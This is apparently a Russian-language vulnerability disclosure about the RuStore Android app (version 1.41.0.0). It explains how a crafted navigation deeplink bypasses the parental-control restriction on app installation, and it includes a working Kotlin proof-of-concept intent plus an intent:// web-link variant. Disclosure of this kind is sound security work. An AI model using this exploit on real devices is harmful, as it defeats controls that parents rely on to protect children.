[RuStore | Android] Обход ограничений родительского контроля на установку приложений
Версия:
1.41.0.0
Описание
Приложение недостаточно надежно контролирует установку других приложений, которые нарушают правила установленного режима родительского контроля. Манипулируя навигацией, злоумышленник имеет возможность открыть экран с целевым приложением и запустить его установку, которая будет успешно завершена.
Эксплуатация
Коротко о том, что происходит на видео: из стороннего приложения запускается особый deeplink, который переключает запускает приложение RuStore с целевым приложением. Несмотря на появившийся диалог блокировки родительским контролем, запускается установка приложения. После установки показан запуск приложения через эксплойт, но это скорее для демонстрации, приложение точно также может быть запущено из системного лончера.
PoC эксплойт:
val intent = Intent().apply { setClassName("ru.vk.store", "ru.vk.store.app.MainActivity") flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK findViewById<Button>(R.id.exploitbtn).setOnClickListener { intent.data = Uri.parse("android-app://androidx.navigation/ru.vk.store.feature.storeapp.details.options.api.presentation.navigation.AnyAppOptionsDestination/com.goddessera.rustore") startActivity(intent) }
По идее, то же самое можно проэксплуатировать из веба через схему
intent://
, тогда ссылка будет такая: intent://androidx.navigation/ru.vk.store.feature.storeapp.details.options.api.presentation.navigation.AnyAppOptionsDestination/com.goddessera.rustore#Intent;scheme=android-app;launchFlags=0x10008000;component=ru.vk.store/.app.MainActivity;end
, но похоже, что в новых версиях хрома это уже не работает, а на старых я тестировать не стал.